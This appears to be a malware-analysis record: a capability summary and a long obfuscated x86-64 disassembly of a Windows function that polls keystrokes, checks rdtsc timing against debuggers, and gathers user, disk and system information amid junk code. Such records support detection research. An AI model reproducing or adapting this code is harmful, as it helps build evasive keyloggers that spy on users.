Function at 0x18000100f
Capabilities:
Accept command line arguments
Execute anti-debugging instructions
Get disk information
Get session user name
Get system information on windows
Log keystrokes via polling
Resolve dns

Disassembly:
sub rsp, 0x6c8
lea rbp, [rsp + 0x200]
push rbp
mov rbp, rsp
sub rsp, 0x488
sub rsp, 0x40
lea rcx, [rsp + 0x20]
call sub.KERNEL32.dll_GetSystemTime
add rsp, 0x40
mov r11, rcx
mov ecx, dword [0x180009bad]
mov rcx, r8
or dword [rbp - 0x163], eax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800010a1
mov rax, qword [rbp - 0x47d]
movzx ecx, cx
mov dword [rbp - 0x397], eax
mov edx, dword [rbp - 0x24f]
add r8, 0x5289
mov ecx, dword [rbp - 0x6b]
mov eax, 0xecfb
mov eax, dword [rbp - 0x1a9]
mov dword [rbp - 0x142], eax
sub r8, 0xf50a
mov dword [rbp - 0x371], eax
mov eax, edx
and edx, eax
inc qword [rsp]
mov edx, 0x98d
cmp edx, dword [rsp]
jl 0x18000105b
add rsp, 0x10
lea r10, [rbp - 0x2b]
add ecx, 0xedbe
mov dword [rbp - 0x3d2], eax
mov ecx, dword [rbp - 0x6d]
add r10, r9
movzx ecx, cl
sub rsp, 0x30
mov rcx, 0xed20
call sub.msvcrt.dll_malloc
mov qword [rsp + 0x20], rax
mov dword [0x180009ba5], edx
and qword [rbp - 0x132], r8
mov edx, dword [rbp - 0x280]
mov ecx, dword [rbp - 0x211]
mov rax, rdx
sub eax, 0xf292
mov qword [rbp - 0x329], r10
movzx eax, cl
add r10, r9
mov dword [rbp - 0x1cc], edx
test qword [0x180009ba7], rdx
je 0x1800012a4
mov edx, dword [rbp - 0x2e0]
sub rdx, qword [rbp - 0x2d2]
add edx, 0x456e
xor rax, qword [rbp - 0x268]
mov r9, rdx
mov dword [rbp - 0x48], eax
sub rax, 0x7730
mov ecx, dword [rbp - 2]
mov rcx, r11
sub r8, r10
xor r11, 0x3756
mov ecx, edx
add r9, r10
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001273
mov edx, 0xe3a2
mov r11, rdx
sub rax, 0x6fa4
lea rcx, [rbp - 0x381]
xor qword [rbp - 0x414], r10
movzx ecx, al
add rax, qword [rbp - 0x5f]
xor ecx, dword [rbp - 0x2dd]
movzx ecx, ch
movzx ecx, dx
or eax, dword [rbp - 0x156]
mov rdx, r11
mov ecx, 0xc6c4
mov rdx, r11
mov ecx, dword [rbp - 0x325]
movzx edx, byte [0x180009bae]
xor r10, r11
mov dword [rbp - 0x99], ecx
xor r10, qword [rbp - 0x35b]
mov dword [rbp - 0x3a9], ecx
mov eax, dword [rbp - 0x41]
add r9, qword [rbp - 0x218]
movzx ecx, dl
mov dword [rbp - 0x11e], edx
movzx eax, word [rbp - 0x353]
mov rcx, r8
mov eax, dword [rbp - 0x428]
movzx eax, byte [rbp - 0x42e]
mov ecx, 0x625d
lea rcx, [0x180009baf]
movzx eax, ah
mov qword [rbp - 0x296], rdx
mov dword [rbp - 0x24b], eax
mov r11, 0x1330
mov qword [rbp - 0x2cf], rdx
mov rax, 0x49da
sub dword [rbp - 0x32a], eax
add qword [rbp - 0x259], r11
mov ecx, edx
mov rcx, qword [rbp - 0x1a6]
mov ecx, 0x6dce
mov qword [0x180009bb3], r10
mov eax, dword [rbp - 0x419]
movzx eax, byte [rbp - 0x6d]
or eax, ecx
add r11, qword [rbp - 0x414]
mov eax, edx
mov dword [rbp - 0xc1], ecx
movzx edx, ch
or qword [rbp - 0x189], r9
inc qword [rsp]
mov edx, 0x348
cmp edx, dword [rsp]
jl 0x18000116a
add rsp, 0x10
and dword [str.uABPuyP5PukkvHISl2r], ecx
movzx edx, ax
mov r10, rcx
mov dword [rbp - 0x2d4], ecx
add dword [rbp - 0x257], eax
add qword [rbp - 0xaf], rcx
mov rcx, 0x8b3
call sub.msvcrt.dll_srand
mov edx, dword [rbp - 0xd7]
sub rdx, 0xadcf
mov rcx, 0x20e4
call sub.msvcrt.dll_srand
mov r8, qword [rbp - 0x36d]
add edx, dword [rbp - 0x477]
mov r8, qword [rbp - 0x1d8]
mov eax, ecx
sub ecx, edx
mov qword [rbp - 0x15c], r9
mov r9, 0x30a1
and r8, qword [rbp - 0x445]
mov rcx, r11
sub dword [rbp - 0x26f], ecx
mov qword [rbp - 0x2a5], rdx
mov dword [rbp - 0x146], ecx
xor r10, 0x502d
mov r8, 0x733
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001380
mov ecx, edx
mov qword [rbp - 0x1e3], rax
or eax, dword [rbp - 0x2a7]
mov edx, eax
mov ecx, dword [rbp - 0x286]
movzx ecx, ah
mov qword [rbp - 0x457], r8
mov ecx, dword [rbp - 0x115]
mov ecx, dword [rbp - 0x2fb]
and dword [rbp - 0x417], ecx
mov ecx, 0xa1f4
sub rdx, 0xc584
mov r8, 0xb337
add r9, 0xf799
mov r10, qword [rbp - 0x3aa]
inc qword [rsp]
mov eax, 0xc8b0
cmp eax, dword [rsp]
jl 0x180001328
add rsp, 0x10
mov r8, qword [0x180009ba7]
mov dword [rbp - 0x3e6], ecx
or ecx, dword [rbp - 0x2ec]
mov edx, dword [rbp - 0x9b]
add r9, 0x86c2
mov rdx, qword [rbp - 0x42c]
add qword [rbp - 0x369], r10
mov edx, eax
mov cl, dl
mov ecx, dword [rbp - 0x266]
sub dword [rbp - 0x8f], eax
or r10, r11
or rcx, r11
mov rdx, 0x4059
add ecx, dword [rbp - 0x452]
xor r9, rcx
movzx eax, ah
cmp eax, edx
jns 0x1800013f7
and qword [rbp - 0xf7], r11
mov qword [rbp - 0x46f], r10
mov rcx, qword [rsp + 0x20]
cmp rcx, 0
je 0x180001407
call sub.msvcrt.dll_free
add rsp, 0x30
leave
rdtsc
shl rdx, 0x20
or rdx, rax
mov rbx, rdx
add rbx, qword [0x180009a74]
push rbp
mov rbp, rsp
sub rsp, 0x4f8
or rax, qword [rbp - 0x481]
mov qword [rbp - 0xde], r11
mov ax, word [rbp - 0x89]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800014b6
movzx ecx, dl
mov eax, dword [0x180009ba8]
or qword [0x180009baf], r9
add ecx, dword [rbp - 0x2f1]
add rdx, 0xb836
sub eax, dword [rbp - 0x1b6]
mov r9, r10
or dword [0x180009baa], edx
mov eax, ecx
mov dword [rbp - 0x2d4], edx
xor ecx, dword [rbp - 0x115]
mov dword [rbp - 0x86], edx
mov dword [rbp - 0x184], ecx
or r8, 0x975d
xor edx, dword [rbp - 0x16e]
add qword [rbp - 0x12], rdx
mov rdx, qword [rbp - 0x1be]
mov r8, qword [rbp - 0xa0]
inc qword [rsp]
mov r9, 0xe0af
cmp qword [rsp], r9
jle 0x18000144d
add rsp, 0x10
mov ecx, edx
mov r10, 0xf21e
sub rsp, 0x60
lea rcx, [rsp + 0x20]
call sub.KERNEL32.dll_GetSystemInfo
add rsp, 0x60
or eax, edx
add rax, r8
add rdx, 0x2e7d
or rcx, r9
mov edx, dword [rbp - 0x155]
mov r11, rcx
sub dword [rbp - 0x491], eax
mov r8, qword [0x180009baf]
mov r10, r8
mov dword [rbp - 0xa6], edx
sub rax, qword [rbp - 0x181]
mov ecx, dword [rbp - 0x4d]
mov ch, byte [rbp - 0x39b]
and qword [rbp - 0x1f8], r8
test edx, ecx
jne 0x180001780
sub rsp, 0x60
lea rcx, [rsp + 0x20]
call sub.KERNEL32.dll_GetSystemInfo
add rsp, 0x60
mov ecx, edx
mov r10, 0xa2dc
mov qword [rbp - 0x441], rcx
mov r11, r9
call sub.KERNEL32.dll_GetCurrentProcess
mov qword [rbp - 0x1a0], rcx
mov ecx, dword [rbp - 0x1be]
or qword [rbp - 0x2ce], r11
movzx ecx, cx
mov rdx, qword [rbp - 0x48c]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001631
or eax, edx
mov rax, 0x35e0
sub r9, 0x6d45
mov ecx, dword [rbp - 0x9c]
mov qword [rbp - 0x177], r11
mov r9, qword [rbp - 0x4b5]
mov rcx, rdx
add qword [rbp - 0x3af], rax
mov dword [rbp - 0x3a], edx
lea r8, [rbp - 0x208]
mov eax, dword [rbp - 0x1d5]
or edx, dword [rbp - 0x421]
mov dword [rbp - 0x12c], edx
mov eax, dword [rbp - 0x494]
mov rax, 0xcf66
sub r8, rdx
sub eax, dword [rbp - 0x2bd]
sub r8, rdx
sub rax, 0xa065
mov rdx, qword [rbp - 0x3f]
add eax, edx
mov qword [rbp - 0x98], rdx
mov edx, 0x4eca
mov edx, 0x26e5
or dword [rbp - 0x21d], edx
sub rdx, qword [rbp - 0x2f0]
movzx eax, ch
movzx ecx, al
mov r10, qword [rbp - 0x3b6]
mov edx, dword [0x180009ba9]
add eax, 0xa464
inc qword [rsp]
cmp qword [rsp], 0xfe59
jle 0x180001588
add rsp, 0x10
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800016b4
mov edx, ecx
mov r10, 0x29fa
mov r9, qword [rbp - 0x305]
mov eax, 0x7776
or eax, edx
mov eax, 0x6066
mov r11, rdx
mov edx, dword [0x180009bab]
mov qword [0x180009bb3], rax
mov r10, qword [rbp - 0x4cb]
mov qword [0x180009bb2], r11
and eax, dword [rbp - 0x204]
mov byte [rbp - 0x184], cl
add rdx, 0xb09
mov r11, rax
mov rax, r11
mov ecx, edx
mov qword [rbp - 0x47d], rax
movzx ecx, ax
inc qword [rsp]
mov eax, 0x22b6
cmp eax, dword [rsp]
jl 0x180001651
add rsp, 0x10
sub eax, dword [rbp - 0xf7]
movzx edx, cl
movzx ecx, cl
add edx, dword [rbp - 0x5d]
lea r9, [rbp - 0x433]
mov edx, 0xc29e
mov ecx, dword [rbp - 0x465]
add rdx, rcx
mov dword [rbp - 0x444], ecx
mov qword [rbp - 0x35c], rax
mov dword [rbp - 0x326], eax
sub qword [rbp - 0x103], r9
movzx edx, ch
xor ecx, dword [rbp - 0xe9]
lea rcx, [0x180009ca5]
sub rsp, 0x30
lea rdx, [rsp + 0x20]
call sub.ADVAPI32.dll_GetUserNameA
add rsp, 0x30
mov r11, qword [rbp - 0x1d2]
mov edx, dword [rbp - 0x443]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001741
inc qword [rsp]
mov edx, 0x25b5
cmp edx, dword [rsp]
jl 0x18000173d
add rsp, 0x10
mov r8, qword [rbp - 0xf3]
mov r11, 0xfd1b
mov eax, 0x275f
mov qword [rbp - 0x26c], r10
mov r10, qword [rbp - 0x384]
mov ecx, eax
mov qword [rbp - 0x2ef], r10
sub eax, ecx
call sub.KERNEL32.dll_GetLogicalDrives
or r11, qword [rbp - 0x20a]
mov eax, dword [rbp - 0x273]
movzx edx, byte [rbp - 0x471]
mov qword [0x180009bac], rdx
sub dword [rbp - 0x42e], ecx
mov r9, qword [rbp - 0x271]
sub dword [rbp - 0x197], ecx
mov qword [rbp - 0x4c8], r10
mov eax, edx
cmp eax, dword [0x180009ba8]
jno 0x1800017d5
sub edx, dword [rbp - 0x3c0]
or eax, 0x7eae
mov eax, 0x8777
mov eax, dword [rbp - 0x89]
add dword [rbp - 0x439], edx
sub rsp, 0x30
mov rcx, 0x9050
call sub.msvcrt.dll_malloc
mov qword [rsp + 0x20], rax
xor r9, rax
mov dword [rbp - 0x2f8], edx
sub edx, ecx
mov r9, qword [rbp - 0x485]
mov dword [rbp - 0xa], eax
add qword [rbp - 0x3be], rax
mov dword [rbp - 0x3b2], ecx
movzx ecx, cl
or dword [0x180009bb1], eax
sub r8, rax
add qword [0x180009ba8], r10
mov ecx, dword [rbp - 0x17e]
mov r9, rcx
mov rax, qword [rbp - 0x380]
mov ecx, dword [0x180009bb3]
mov rcx, qword [rbp - 0x44f]
mov rcx, qword [rsp + 0x20]
cmp rcx, 0
je 0x180001852
call sub.msvcrt.dll_free
add rsp, 0x30
leave
mov rcx, 0x3e8
call sub.KERNEL32.dll_Sleep
push rbp
mov rbp, rsp
sub rsp, 0xa8
mov dword [rbp - 0x1e], eax
mov ecx, dword [rbp - 0x72]
mov qword [rbp - 0x94], rcx
mov edx, ecx
mov r9, qword [rbp - 0x22]
mov dword [rbp - 0x22], edx
add ecx, 0x162
mov rcx, qword [rbp - 0x69]
mov rcx, 0xf6af
sub qword [str.uABPuyP5PukkvHISl2r], rdx
add r11, qword [rbp - 0x8b]
call sub.KERNEL32.dll_GetCommandLineA
and eax, 0x8c9b
mov r9, rcx
add ecx, edx
xor qword [rbp - 0x9f], rcx
mov r11, qword [rbp - 0x80]
add qword [0x180009bb1], r8
xor eax, edx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x18000194a
mov rax, qword [rbp - 0x6a]
mov qword [rbp - 0x4c], rdx
mov eax, dword [rbp - 0x9e]
mov r10, r9
sub ecx, 0xfbec
mov edx, dword [rbp - 0x99]
mov qword [rbp - 0x39], rdx
mov dword [rbp - 0x7f], edx
or dword [rbp - 7], ecx
add r11, qword [rbp - 0x7b]
sub r10, qword [rbp - 0x94]
and edx, dword [rbp - 0x48]
mov eax, ecx
mov qword [rbp - 0x95], r9
or edx, ecx
mov edx, dword [rbp - 0x1d]
sub dword [rbp - 0x2e], eax
mov r11, qword [rbp - 0x6a]
mov edx, dword [rbp - 0x55]
mov qword [str.uABPuyP5PukkvHISl2r], r10
mov r11, 0x5418
add eax, edx
mov qword [rbp - 0xa], r10
mov dword [rbp - 0x4f], eax
add qword [rbp - 0x11], rax
mov ecx, dword [rbp - 0x5a]
mov qword [rbp - 0x7d], rdx
mov r10, r11
inc qword [rsp]
cmp qword [rsp], 0xaac
jle 0x1800018d4
add rsp, 0x10
mov qword [rbp - 0x60], rcx
sub eax, 0xc7a9
movzx ecx, ax
mov eax, dword [rbp - 1]
mov r11, 0x4ba6
movzx eax, al
sub eax, edx
and rcx, 0xe42c
mov dword [rbp - 0x95], ecx
movzx ecx, dx
sub dword [rbp - 0x1c], edx
or rdx, r9
and r10, 0x938c
and eax, edx
mov qword [rbp - 0x51], r8
mov dword [rbp - 0x72], ecx
test rdx, r11
je 0x180001b5b
mov r11, rdx
mov qword [rbp - 0x5a], r8
mov dword [rbp - 0x70], ecx
mov eax, dword [rbp - 7]
mov qword [rbp - 0xa], r9
movzx edx, word [0x180009ba8]
and edx, dword [rbp - 0x2e]
lea rdx, [0x180009ba7]
mov eax, dword [0x180009baf]
mov rcx, 0xb0
call sub.USER32.dll_GetKeyState
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800019eb
mov dword [rbp - 0x6f], ecx
inc qword [rsp]
mov edx, 0xcd5f
cmp edx, dword [rsp]
jl 0x1800019e4
add rsp, 0x10
movzx ecx, cx
call sub.KERNEL32.dll_GetCommandLineA
xor eax, dword [rbp - 0xc]
movzx eax, ch
test r9, 0xffffffffdcb6723a
jns 0x180001a2b
movzx eax, byte [0x180009bae]
lea r11, [rbp - 0x5f]
mov r10, rdx
sub ecx, dword [rbp - 0x6f]
or r9, qword [rbp - 0x26]
mov dword [rbp - 0x5e], ecx
mov dword [rbp - 0x20], eax
mov eax, dword [rbp - 0x48]
mov dx, word [rbp - 0x85]
mov edx, dword [rbp - 0x16]
mov rax, r8
mov edx, ecx
sub rax, 0xc298
movzx eax, byte [rbp - 0x6d]
or dword [rbp - 0x17], ecx
add r8, r9
mov qword [rbp - 0x82], rdx
sub r8, qword [rbp - 0x84]
mov dword [0x180009bad], ecx
lea r11, [rbp - 0x2b]
mov rax, rdx
mov rcx, 0x2ae
call sub.KERNEL32.dll_Sleep
and ecx, eax
mov qword [rbp - 0x60], r8
sub qword [rbp - 0x27], rcx
add eax, 0xf593
sub qword [rbp - 0x30], rax
mov dword [rbp - 0x5b], ecx
sub ecx, 0x79b1
mov r9, qword [0x180009ba9]
mov edx, ecx
sub ecx, 0x6030
mov qword [rbp - 0x8a], r9
sub ecx, edx
mov rcx, rax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001b08
sub rcx, rax
xor rcx, r11
or r11, qword [rbp - 0x75]
sub rdx, 0xf27f
mov dword [rbp - 0x51], eax
mov qword [rbp - 0x3a], rcx
mov rcx, qword [rbp - 0x8f]
mov eax, edx
mov qword [rbp - 0x3a], r11
mov eax, dword [rbp - 0x70]
mov edx, dword [rbp - 0x6b]
add r8, qword [rbp - 0x17]
mov edx, dword [rbp - 0x14]
sub qword [rbp - 0x72], r11
sub qword [rbp - 0x1a], rdx
mov ecx, dword [rbp - 0xf]
mov r8, r11
sub r8, qword [rbp - 0x9f]
mov qword [rbp - 0x4c], rdx
inc qword [rsp]
mov edx, 0xb18
cmp edx, dword [rsp]
jl 0x180001ab9
add rsp, 0x10
cmp edx, dword [0x180009ba6]
jns 0x180001b3f
and r9, 0x4018
mov eax, dword [rbp - 0x37]
mov edx, 0xcafd
mov rcx, qword [rbp - 0x36]
mov ecx, dword [rbp - 0x82]
mov qword [rbp - 0x5f], r9
movzx eax, word [rbp - 0x69]
mov r9, qword [rbp - 0x64]
add r10, 0xca1
mov rax, qword [rbp - 0x9f]
mov r9, qword [0x180009bb2]
sub eax, dword [rbp - 0x44]
leave
rdtsc
shl rdx, 0x20
or rdx, rax
cmp rdx, rbx
jb 0x18000141f
mov rcx, rbx
call sub.msvcrt.dll_srand
lea rdi, section..data
mov rsi, qword [0x180009a38]
movabs r12, 0xbc6dbda21932688e
call fcn.180005464
push rdi
push r15
push r12
push rbp
mov rbp, rsp
sub rsp, 0x38
add dword [rbp - 0x21], edi
xor ecx, dword [rbp - 0xb]
mov qword [rbp - 0x25], rcx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001bc4
mov dword [rbp - 0x26], ecx
add edi, ecx
movzx edx, ch
inc qword [rsp]
cmp qword [rsp], 0xe02e
jle 0x180001bb8
add rsp, 0x10
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001c39
mov edi, dword [rbp - 0x11]
and dword [rbp - 0xb], edx
mov dword [rbp - 8], edx
mov ecx, dword [rbp]
mov r11, rdi
mov edx, dword [rbp - 0x26]
mov edi, edx
mov r10, 0x5914
mov r11, r9
mov r10, rdx
add rcx, 0xba06
lea r10, [rbp - 0x24]
mov eax, dword [rbp - 0x23]
mov dword [rbp - 0x1b], ecx
sub r9, 0xb600
movzx ecx, ch
mov qword [rbp - 0x2a], r8
add dword [rbp - 0x1b], edi
mov qword [0x180009bb3], rdx
add eax, dword [rbp - 0x29]
mov qword [rbp - 9], rcx
or qword [rbp - 0x11], r8
inc qword [rsp]
mov rcx, 0x1376
cmp qword [rsp], rcx
jle 0x180001be0
add rsp, 0x10
add ecx, dword [rbp - 2]
mov qword [rbp - 0x21], r10
mov ecx, dword [rbp - 0x27]
mov rdi, r15
mov rax, qword [rbp - 0x2b]
sub rcx, qword [rbp - 0x1b]
mov cl, byte [rbp - 0x26]
mov eax, dword [rbp - 0x28]
add edi, edx
mov qword [rbp - 0x15], r9
mov r9, qword [rbp - 0x13]
mov dword [rbp - 0x1f], ecx
sub rcx, r11
movzx eax, byte [rbp - 3]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001c97
mov dword [rbp - 0x1b], ecx
mov rdx, qword [rbp]
mov rdx, r11
mov ecx, eax
inc qword [rsp]
cmp qword [rsp], 0x555d
jle 0x180001c87
add rsp, 0x10
add qword [rbp - 0x2e], r9
mov qword [rbp - 0x22], r9
lea r8, [rbp - 0x2c]
mov rdx, qword [rbp - 0xb]
mov edi, edx
mov qword [rbp - 0x12], r15
mov ecx, dword [rbp - 0x29]
mov r9, qword [rbp - 5]
add edi, dword [rbp - 8]
mov r8, qword [rbp - 0x10]
sub rdi, r11
mov rcx, qword [rbp - 0xd]
add edi, ecx
mov dword [rbp - 0x13], eax
movzx ecx, al
mov qword [rbp - 0x20], r15
mov edi, dword [rbp - 7]
mov dword [rbp - 0x13], ecx
mov edi, 0x80a8
mov eax, 0x47d3
xor dword [0x180009bab], ecx
mov r9, qword [rbp - 7]
lea rdx, [rbp - 0x2f]
mov edx, edi
sub edi, dword [0x180009bb1]
mov ecx, dword [rbp - 0x10]
xor rdx, qword [rbp - 5]
leave
pop r12
pop r15
pop rdi
call fcn.180006519
push rbp
mov rbp, rsp
sub rsp, 0xd8
mov rdx, qword [rbp - 0xa1]
mov rax, 0x63f9
add qword [rbp - 0x2a], r9
mov dword [rbp - 0xa0], eax
add dword [rbp - 0x45], ecx
mov dword [rbp - 0x6b], eax
mov r10, rdx
mov dword [rbp - 0x75], ecx
mov edx, ecx
movzx edx, al
mov ecx, dword [rbp - 0x26]
mov qword [rbp - 0xce], rcx
mov ecx, dword [rbp - 0x86]
test edx, ecx
jo 0x180001e79
movzx edx, dx
or edx, ecx
mov ecx, edx
mov r11, rcx
lea rdx, [rbp - 0x4f]
movzx ecx, ax
add edx, ecx
mov qword [rbp - 0x30], rdx
mov eax, dword [0x180009bae]
add rax, qword [rbp - 0x94]
sub ecx, 0xe66f
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001e59
mov ecx, dword [rbp - 0x78]
sub ecx, 0xc96c
mov dword [rbp - 0x31], edx
add r9, qword [rbp - 0xaa]
add qword [rbp - 0x5f], rcx
mov eax, dword [rbp - 0x74]
xor dx, ax
mov edx, dword [rbp - 0x8d]
mov r11, r10
mov r8, qword [rbp - 0x4c]
mov r11, r10
mov rax, qword [rbp - 0xa6]
mov r8, rcx
mov eax, ecx
mov edx, dword [rbp - 0x2d]
sub dword [rbp - 0x28], ecx
mov qword [rbp - 0x7a], rax
mov dword [rbp - 0x69], eax
mov r8, qword [rbp - 0x75]
mov qword [rbp - 0x9c], r9
mov qword [0x180009ba5], r9
mov r10, qword [0x180009baa]
mov ecx, dword [rbp - 0x4a]
mov r9, qword [0x180009bac]
mov edx, dword [rbp - 0x84]
xor edx, dword [rbp - 0xab]
sub r11, qword [rbp - 0x56]
lea r9, [rbp - 0xac]
and edx, dword [rbp - 0x59]
mov qword [rbp - 0x5c], rax
mov qword [rbp - 0x16], r10
mov qword [rbp - 0x20], rdx
mov edx, dword [rbp - 0x22]
and dword [rbp - 0x8f], eax
mov dword [0x180009ba8], eax
mov qword [rbp - 0x12], r9
or r9, rdx
movzx edx, ch
mov dword [rbp - 0x25], edx
and eax, 0x34e8
sub dword [rbp - 0x7e], edx
lea rcx, [rbp - 0xcc]
inc qword [rsp]
mov r8, 0xa243
cmp qword [rsp], r8
jle 0x180001d9b
add rsp, 0x10
mov dword [0x180009bae], eax
mov r8, r9
or eax, edx
leave
call fcn.1800073be
cmp rax, 0
jne 0x1800075fa
push rbp
mov rbp, rsp
sub rsp, 0x2e8
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001f42
mov eax, dword [rbp - 0x298]
mov edx, eax
mov ecx, edx
add rcx, qword [rbp - 0x27b]
sub rdx, 0x1491
movzx ecx, byte [rbp - 0x23c]
mov r11, qword [rbp - 0x2dd]
movzx ecx, cl
movzx edx, al
sub eax, dword [rbp - 0x87]
mov edx, dword [rbp - 0x1f0]
or rdx, qword [rbp - 0x209]
and eax, 0x6fce
mov ecx, dword [rbp - 0x1a1]
mov eax, edx
and eax, dword [0x180009ba7]
movzx edx, dh
mov qword [rbp - 0x247], r11
mov ecx, dword [rbp - 0x17b]
mov dword [rbp - 0x1bc], ecx
movzx edx, cl
mov ecx, 0x2004
lea r8, [rbp - 0x244]
mov rdx, qword [rbp - 0x80]
mov qword [rbp - 0x9c], rcx
and eax, dword [rbp - 0x248]
add ecx, dword [rbp - 0x12b]
mov edx, 0xfdc7
mov dword [rbp - 0x14c], ecx
inc qword [rsp]
mov r9, 0x4ff0
cmp qword [rsp], r9
jle 0x180001ea5
add rsp, 0x10
mov qword [rbp - 0xf6], r8
or r8, r11
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180002015
mov r10, qword [rbp - 0xc0]
mov r8, qword [rbp - 0x1bd]
or dword [rbp - 0x2bf], ecx
mov qword [rbp - 0x2d0], r9
or ecx, 0x8158
sub edx, ecx
sub qword [rbp - 0x260], r8
add edx, dword [rbp - 0x171]
mov eax, 0xab19
movzx ecx, dh
mov r11, 0xe0ae
add word [rbp - 0xdd], ax
mov eax, dword [rbp - 0x96]
sub word [rbp - 0x77], cx
mov rdx, 0xeeb4
or ecx, 0xf12e
and dword [rbp - 0x26c], edx
mov qword [rbp - 0x167], r9
mov qword [0x180009bac], r9
sub rax, qword [rbp - 0x2aa]
xor qword [0x180009bb2], rdx
mov eax, dword [rbp - 0x22b]
movzx ecx, byte [rbp - 0x285]
mov eax, 0x1fd5
mov rcx, qword [rbp - 0xd3]
mov r8, qword [rbp - 0xf]
xor r8, rcx
inc qword [rsp]
mov rdx, 0x3cfe
cmp qword [rsp], rdx
jle 0x180001f72
add rsp, 0x10
mov qword [rbp - 0x2d6], r10
mov eax, edx
mov r10, 0x8c5d
add qword [rbp - 0x282], rax
mov eax, dword [rbp - 0x257]
add edx, dword [rbp]
cmp edx, dword [0x180009bb1]
jb 0x180002083
mov qword [rbp - 0x2f], r10
sub ecx, dword [rbp - 0x282]
sub rcx, qword [rbp - 0xda]
lea rcx, [rbp - 0x16c]
or r8, r11
add r9, 0x77cf
lea r10, [rbp - 0xb7]
add dword [rbp - 0x1d8], edx
mov ecx, edx
leave
lea rdx, [rbp - 0x40]
mov rcx, 0x202
mov rax, qword [0x180009ad4]
call rax
test eax, eax
jne 0x180004de4
push r14
push rdi
push r12
push r15
push rsi
push rbp
mov rbp, rsp
sub rsp, 0x468
lea r9, [rbp - 0x2f0]
mov rcx, qword [rbp - 0x1f]
mov r10, r11
lea rax, [rbp - 0x248]
cmp r14, r9
jb 0x180002118
mov esi, dword [rbp - 0x2c2]
sub dword [rbp - 0x30b], eax
mov eax, 0x8ea3
movzx esi, dh
add esi, dword [rbp - 0x455]
mov qword [rbp - 0x180], rax
sub dword [rbp - 0x3e3], eax
mov eax, dword [rbp - 0x317]
mov edx, dword [rbp - 0x2b3]
and dword [rbp - 0x3a1], eax
mov qword [rbp - 0x3e2], r14
mov edx, ecx
sub edx, dword [rbp - 0xf0]
movzx edx, cl
mov edi, dword [0x180009bb2]
sub dword [rbp - 0x266], edi
mov esi, dword [rbp - 0x20a]
mov dword [0x180009ba5], eax
movzx edx, ch
mov edi, 0x159
mov esi, dword [rbp - 0xfb]
mov esi, dword [rbp - 0x297]
mov edi, dword [rbp - 0x117]
mov qword [rbp - 0x138], r11
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180002200
mov rdi, qword [rbp - 0x1d2]
mov r10, qword [0x180009baa]
mov r15, qword [rbp - 0x293]
xor dword [rbp - 0x405], eax
mov qword [rbp - 0xe1], rdi
mov esi, eax
mov dword [rbp - 0x357], edi
sub edx, dword [0x180009ba9]
mov ecx, dword [0x180009bab]
add ecx, dword [rbp - 0x2d1]
movzx ecx, cl
mov cl, byte [rbp - 0x3a7]
mov dword [rbp - 0x1ac], edi
mov rsi, qword [0x180009bab]
or r14, qword [rbp - 0x432]
mov qword [rbp - 0x2fc], r10
xor dword [rbp - 0x1b3], edi
add rcx, qword [rbp - 0xe8]
mov dword [rbp - 0x1db], eax
mov esi, ecx
mov edi, dword [rbp - 0xe4]
mov esi, dword [rbp - 0xe]
xor esi, dword [rbp - 0x15e]
mov ecx, dword [rbp - 0x20a]
add rcx, r8
mov r15, qword [rbp - 0x16c]
movzx ecx, dl
mov eax, dword [rbp - 0x3a]
inc qword [rsp]
mov eax, 0xf61f
cmp eax, dword [rsp]
jl 0x180002162
add rsp, 0x10
xor qword [rbp - 0x30d], r15
mov qword [rbp - 0x296], rdx
sub si, word [rbp - 0x3a4]
mov dword [rbp - 0x30b], edi
leave
pop rsi
pop r15
pop r12
pop rdi
pop r14
rdtsc
mov dword [0x180009225], eax
push rbp
mov rbp, rsp
sub rsp, 0x18
mov r9, rdx
or dword [rbp - 7], edx
sub dword [rbp - 6], edx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x18000226f
mov r9, qword [rbp - 0xe]
mov edx, dword [rbp - 2]
add edx, dword [rbp - 2]
sub rdx, qword [rbp - 0xe]
inc qword [rsp]
mov r8, 0x283e
cmp qword [rsp], r8
jle 0x18000225d
add rsp, 0x10
mov eax, dword [rbp - 6]
or r10, qword [rbp - 2]
mov eax, dword [rbp - 0xf]
mov r8, r10
movzx ecx, word [str.uABPuyP5PukkvHISl2r]
or dword [rbp - 0xc], edx
lea rcx, [rbp - 0xc]
xor r10, 0x3218
mov ecx, 0x4c9d
mov rax, qword [rbp]
mov dl, byte [rbp - 2]
lea rax, [rbp - 0xf]
mov r10, qword [rbp - 6]
add qword [rbp - 9], r11
add eax, edx
movzx ecx, dh
mov ecx, eax
mov r8, qword [rbp - 5]
mov qword [rbp - 0xd], r11
mov dword [rbp - 0xd], ecx
sub ecx, 0xdddb
and r10, r9
movzx ecx, dl
sub qword [rbp - 0xb], r8
mov r10, rdx
sub r10, qword [rbp - 6]
add r9, 0xb940
mov dword [rbp - 0xe], ecx
mov ecx, eax
movzx eax, ah
test rcx, r9
js 0x18000239d
mov ecx, dword [rbp - 2]
mov r8, 0xf8b3
mov eax, dword [rbp - 8]
mov rax, qword [rbp - 5]
mov edx, dword [rbp - 0xa]
and ch, byte [0x180009ba7]
movzx ecx, dl
mov edx, ecx
mov r11, r10
mov dword [rbp - 5], eax
mov edx, eax
add rax, r8
mov dword [rbp - 4], ecx
movzx edx, ch
mov eax, edx
xor r10, qword [rbp - 9]
add rcx, r10
mov dword [rbp - 0xe], edx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180002350
mov ecx, dword [rbp - 8]
mov rcx, qword [rbp]
inc qword [rsp]
mov edx, 0x23c4
cmp edx, dword [rsp]
jl 0x180002345
add rsp, 0x10
mov dword [rbp - 9], eax
mov dword [0x180009bb1], eax
mov r11, r8
lea rdx, [rbp - 0xb]
